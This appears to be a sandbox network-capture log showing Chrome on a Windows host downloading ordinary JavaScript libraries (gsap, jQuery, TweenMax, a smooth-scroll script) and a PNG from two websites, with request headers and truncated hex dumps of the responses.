2024-09-27 03:50:55 UTC	4253	IN	Data Raw: ef bb bf 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 2c 62 6f 64 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 27 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 74 69 74 6c 65 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 66 69 74 3d 31 3b 0d 0a 09 76 61 72 20 Data Ascii: document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');function checktitle(){var fit=1;var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49793	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:55 UTC	558	OUT	GET /resources/assets/lib/js/gsap.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:55 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:30 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:55 UTC	16178	IN	Data Raw: 65 39 61 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 74 7c 7c 73 65 6c 66 29 2e 77 69 6e 64 6f 77 3d 74 2e 77 69 6e 64 6f 77 7c 7c 7b 7d 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 28 74 2c 65 29 7b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a Data Ascii: e9a8!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t=t\|\|self).window=t.window\|\|{})}(this,function(e){"use strict";function _inheritsLoose(t,e){t.prototype=Obj
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 28 29 2b 74 68 69 73 2e 5f 72 44 65 6c 61 79 3b 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 74 6f 74 61 6c 54 69 6d 65 28 74 68 69 73 2e 5f 74 69 6d 65 2b 28 74 2d 31 29 2a 72 2c 65 29 3a 74 68 69 73 2e 5f 72 65 70 65 61 74 3f 5f 74 28 74 68 69 73 2e 5f 74 54 69 6d 65 2c 72 29 2b 31 3a 31 7d 2c 45 74 2e 74 69 6d 65 53 63 61 6c 65 3d 66 75 6e 63 74 69 6f 6e 20 74 69 6d 65 53 63 61 6c 65 28 74 29 7b 69 66 28 21 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 72 74 73 3d 3d 3d 2d 42 3f 30 3a 74 68 69 73 2e 5f 72 74 73 3b 69 66 28 74 68 69 73 2e 5f 72 74 73 3d 3d 3d 74 29 72 65 74 75 72 6e 20 74 68 69 73 3b 76 61 72 20 65 3d 74 68 69 73 2e 70 61 72 65 6e 74 26 26 74 68 69 73 Data Ascii: ()+this._rDelay;return arguments.length?this.totalTime(this._time+(t-1)*r,e):this._repeat?_t(this._tTime,r)+1:1},Et.timeScale=function timeScale(t){if(!arguments.length)return this._rts===-B?0:this._rts;if(this._rts===t)return this;var e=this.parent&&this
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 74 65 64 22 21 3d 3d 53 2e 64 61 74 61 29 26 26 28 61 2e 5f 74 54 69 6d 65 3d 2d 42 2c 61 2e 72 65 6e 64 65 72 28 4d 61 74 68 2e 6d 61 78 28 30 2c 2d 79 29 29 29 2c 50 26 26 41 61 28 5f 61 73 73 65 72 74 54 68 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 61 29 2c 50 29 2c 61 7d 5f 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 28 54 77 65 65 6e 2c 41 29 3b 76 61 72 20 74 3d 54 77 65 65 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 20 72 65 6e 64 65 72 28 74 2c 65 2c 72 29 7b 76 61 72 20 69 2c 6e 2c 61 2c 73 2c 6f 2c 75 2c 68 2c 6c 2c 66 2c 64 3d 74 68 69 73 2e 5f 74 69 6d 65 2c 63 3d 74 68 69 73 2e 5f 74 44 75 72 2c 70 3d 74 68 69 73 2e 5f 64 75 72 2c 5f 3d 63 2d 42 3c 74 26 26 30 3c 3d 74 3f 63 3a 74 3c Data Ascii: ted"!==S.data)&&(a._tTime=-B,a.render(Math.max(0,-y))),P&&Aa(_assertThisInitialized(a),P),a}_inheritsLoose(Tween,A);var t=Tween.prototype;return t.render=function render(t,e,r){var i,n,a,s,o,u,h,l,f,d=this._time,c=this._tDur,p=this._dur,_=c-B<t&&0<=t?c:t<
2024-09-27 03:50:55 UTC	10883	IN	Data Raw: 66 6f 72 6d 22 29 2c 5a 65 28 61 2c 31 29 2c 75 2e 75 6e 63 61 63 68 65 3d 31 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 42 64 28 74 29 7b 72 65 74 75 72 6e 22 6d 61 74 72 69 78 28 31 2c 20 30 2c 20 30 2c 20 31 2c 20 30 2c 20 30 29 22 3d 3d 3d 74 7c 7c 22 6e 6f 6e 65 22 3d 3d 3d 74 7c 7c 21 74 7d 66 75 6e 63 74 69 6f 6e 20 43 64 28 74 29 7b 76 61 72 20 65 3d 68 64 28 74 2c 4c 65 29 3b 72 65 74 75 72 6e 20 42 64 28 65 29 3f 56 65 3a 65 2e 73 75 62 73 74 72 28 37 29 2e 6d 61 74 63 68 28 4a 29 2e 6d 61 70 28 61 61 29 7d 66 75 6e 63 74 69 6f 6e 20 44 64 28 74 2c 65 29 7b 76 61 72 20 72 2c 69 2c 6e 2c 61 2c 73 3d 74 2e 5f 67 73 61 70 7c 7c 5a 28 74 29 2c 6f 3d 74 2e 73 74 79 6c 65 2c 75 3d 43 64 28 74 29 3b 72 65 74 75 72 6e 20 73 2e 73 76 67 26 26 74 2e 67 65 74 Data Ascii: form"),Ze(a,1),u.uncache=1))}}function Bd(t){return"matrix(1, 0, 0, 1, 0, 0)"===t\|\|"none"===t\|\|!t}function Cd(t){var e=hd(t,Le);return Bd(e)?Ve:e.substr(7).match(J).map(aa)}function Dd(t,e){var r,i,n,a,s=t._gsap\|\|Z(t),o=t.style,u=Cd(t);return s.svg&&t.get

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49794	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:55 UTC	391	OUT	GET /resources/assets/lib/js/jquery-1.10.1.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:55 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:30 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:55 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 3d 74 79 70 65 6f 66 20 74 2c 6f 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 61 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6c 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 63 3d 7b 7d 2c 70 3d 5b 5d 2c 66 3d 22 31 2e 31 30 2e 31 22 2c 64 3d 70 2e 63 6f 6e 63 61 74 2c 68 3d 70 2e 70 75 73 68 2c 67 3d 70 2e 73 6c 69 63 65 2c 6d 3d 70 2e 69 6e 64 65 78 4f 66 2c 79 3d 63 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 62 3d 66 2e 74 72 69 6d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 78 2e 66 6e 2e 69 6e 69 74 28 65 2c 74 2c 72 29 7d 2c 77 3d 2f Data Ascii: ffa8(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/
2024-09-27 03:50:55 UTC	16384	IN	Data Raw: 74 7c 7c 65 29 21 3d 3d 66 26 26 70 28 65 29 3b 76 61 72 20 69 3d 6f 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 61 3d 69 26 26 4c 2e 63 61 6c 6c 28 6f 2e 61 74 74 72 48 61 6e 64 6c 65 2c 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 69 28 65 2c 6e 2c 21 68 29 3a 74 3b 72 65 74 75 72 6e 20 61 3d 3d 3d 74 3f 72 2e 61 74 74 72 69 62 75 74 65 73 7c 7c 21 68 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6e 29 3a 28 61 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 6e 29 29 26 26 61 2e 73 70 65 63 69 66 69 65 64 3f 61 2e 76 61 6c 75 65 3a 6e 75 6c 6c 3a 61 7d 2c 61 74 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 79 6e 74 61 78 20 65 72 72 6f 72 Data Ascii: t\|\|e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes\|\|!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 69 6f 6e 20 57 28 65 2c 74 2c 6e 29 7b 69 66 28 78 2e 61 63 63 65 70 74 44 61 74 61 28 65 29 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 2c 61 3d 6f 3f 78 2e 63 61 63 68 65 3a 65 2c 73 3d 6f 3f 65 5b 78 2e 65 78 70 61 6e 64 6f 5d 3a 78 2e 65 78 70 61 6e 64 6f 3b 69 66 28 61 5b 73 5d 29 7b 69 66 28 74 26 26 28 72 3d 6e 3f 61 5b 73 5d 3a 61 5b 73 5d 2e 64 61 74 61 29 29 7b 78 2e 69 73 41 72 72 61 79 28 74 29 3f 74 3d 74 2e 63 6f 6e 63 61 74 28 78 2e 6d 61 70 28 74 2c 78 2e 63 61 6d 65 6c 43 61 73 65 29 29 3a 74 20 69 6e 20 72 3f 74 3d 5b 74 5d 3a 28 74 3d 78 2e 63 61 6d 65 6c 43 61 73 65 28 74 29 2c 74 3d 74 20 69 6e 20 72 3f 5b 74 5d 3a 74 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d Data Ascii: ion W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i-
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 74 75 72 6e 20 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 78 2e 45 76 65 6e 74 3f 28 65 26 26 65 2e 74 79 70 65 3f 28 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 3d 65 2c 74 68 69 73 2e 74 79 70 65 3d 65 2e 74 79 70 65 2c 74 68 69 73 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 3d 65 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 7c 7c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 3d 3d 21 31 7c 7c 65 2e 67 65 74 50 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 67 65 74 50 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3f 69 74 3a 6f 74 29 3a 74 68 69 73 2e 74 79 70 65 3d 65 2c 6e 26 26 78 2e 65 78 74 65 6e 64 28 74 68 69 73 2c 6e 29 2c 74 68 69 73 2e 74 69 6d 65 53 74 61 6d 70 3d 65 26 26 65 2e 74 69 6d 65 53 74 61 6d 70 7c Data Ascii: turn this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented\|\|e.returnValue===!1\|\|e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp\|
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 22 2c 76 69 73 69 62 69 6c 69 74 79 3a 22 68 69 64 64 65 6e 22 2c 64 69 73 70 6c 61 79 3a 22 62 6c 6f 63 6b 22 7d 2c 4b 74 3d 7b 6c 65 74 74 65 72 53 70 61 63 69 6e 67 3a 30 2c 66 6f 6e 74 57 65 69 67 68 74 3a 34 30 30 7d 2c 5a 74 3d 5b 22 54 6f 70 22 2c 22 52 69 67 68 74 22 2c 22 42 6f 74 74 6f 6d 22 2c 22 4c 65 66 74 22 5d 2c 65 6e 3d 5b 22 57 65 62 6b 69 74 22 2c 22 0d 0a 36 64 39 62 0d 0a 4f 22 2c 22 4d 6f 7a 22 2c 22 6d 73 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 74 29 7b 69 66 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 6e 3d 74 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 74 2e 73 6c 69 63 65 28 31 29 2c 72 3d 74 2c 69 3d 65 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 69 66 28 Data Ascii: ",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","6d9bO","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(
2024-09-27 03:50:56 UTC	11814	IN	Data Raw: 28 6e 2e 75 72 6c 29 3f 22 26 22 3a 22 3f 22 29 2b 6e 2e 6a 73 6f 6e 70 2b 22 3d 22 2b 6f 29 2c 6e 2e 63 6f 6e 76 65 72 74 65 72 73 5b 22 73 63 72 69 70 74 20 6a 73 6f 6e 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7c 7c 78 2e 65 72 72 6f 72 28 6f 2b 22 20 77 61 73 20 6e 6f 74 20 63 61 6c 6c 65 64 22 29 2c 73 5b 30 5d 7d 2c 6e 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 3d 22 6a 73 6f 6e 22 2c 61 3d 65 5b 6f 5d 2c 65 5b 6f 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 3d 61 72 67 75 6d 65 6e 74 73 7d 2c 69 2e 61 6c 77 61 79 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 5b 6f 5d 3d 61 2c 6e 5b 6f 5d 26 26 28 6e 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 2c 46 6e 2e 70 75 73 68 28 6f 29 29 2c 73 26 26 Data Ascii: (n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s\|\|x.error(o+" was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49795	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:56 UTC	611	OUT	GET /resources/assets/images/t400-400.png HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:58 UTC	344	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:06 GMT Content-Type: image/png Content-Length: 2064 Last-Modified: Mon, 13 Mar 2023 02:18:08 GMT Connection: close ETag: "640e87e0-810" Expires: Sun, 27 Oct 2024 03:51:06 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:50:58 UTC	2064	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 06 00 00 00 80 bf 36 cc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR6tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49796	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:56 UTC	560	OUT	GET /resources/assets/lib/js/smooth.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:56 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:30 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:56 UTC	4278	IN	Data Raw: 31 30 61 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 21 31 3b 65 26 26 63 28 22 6b 65 79 64 6f 77 6e 22 2c 6e 29 2c 79 2e 6b 65 79 62 6f 61 72 64 53 75 70 70 6f 72 74 26 26 21 65 26 26 75 28 22 6b 65 79 64 6f 77 6e 22 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 72 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 6e 3d 74 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 3b 69 66 28 78 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d Data Ascii: 10a9(function(e){"use strict";(function(){function e(){var e=!1;e&&c("keydown",n),y.keyboardSupport&&!e&&u("keydown",n)}function t(){if(document.body){var t=document.body,a=document.documentElement,r=window.innerHeight,n=t.scrollHeight;if(x=document.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49797	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:56 UTC	562	OUT	GET /resources/assets/lib/js/TweenMax.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:56 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:31 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:56 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 76 61 72 20 5f 67 73 53 63 6f 70 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 74 68 69 73 7c 7c 77 69 6e 64 6f 77 3b 28 5f 67 73 53 63 6f 70 65 2e 5f 67 73 51 75 65 75 65 7c 7c 28 5f 67 73 53 63 6f 70 65 2e 5f 67 73 51 75 65 75 65 3d 5b 5d 29 29 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 5f 67 73 53 63 6f 70 65 2e 5f 67 73 44 65 66 69 6e 65 28 22 54 77 65 65 6e 4d 61 78 22 2c 5b 22 63 6f 72 65 2e 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 63 6f 72 65 2e 53 69 6d 70 6c 65 54 69 6d 65 6c 69 6e 65 22 2c 22 54 Data Ascii: ffa8var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this\|\|window;(_gsScope._gsQueue\|\|(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("TweenMax",["core.Animation","core.SimpleTimeline","T
2024-09-27 03:50:56 UTC	16384	IN	Data Raw: 72 61 74 69 6f 6e 26 26 28 30 3e 3d 61 26 26 61 3e 3d 2d 31 65 2d 37 7c 7c 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 3c 30 7c 7c 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 3d 3d 3d 65 29 26 26 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 21 3d 3d 61 26 26 74 68 69 73 2e 5f 66 69 72 73 74 26 26 28 69 3d 21 30 2c 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 3e 65 26 26 28 68 3d 22 6f 6e 52 65 76 65 72 73 65 43 6f 6d 70 6c 65 74 65 22 29 29 29 2c 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 3d 74 68 69 73 2e 5f 64 75 72 61 74 69 6f 6e 7c 7c 21 62 7c 7c 61 7c 7c 74 68 69 73 2e 5f 72 61 77 50 72 65 76 54 69 6d 65 3d 3d 3d 61 3f 61 3a 65 2c 61 3d 6f 2b 31 65 2d 34 3b 65 6c 73 65 20 69 66 28 31 65 2d 37 3e 61 29 69 66 28 74 68 Data Ascii: ration&&(0>=a&&a>=-1e-7\|\|this._rawPrevTime<0\|\|this._rawPrevTime===e)&&this._rawPrevTime!==a&&this._first&&(i=!0,this._rawPrevTime>e&&(h="onReverseComplete"))),this._rawPrevTime=this._duration\|\|!b\|\|a\|\|this._rawPrevTime===a?a:e,a=o+1e-4;else if(1e-7>a)if(th
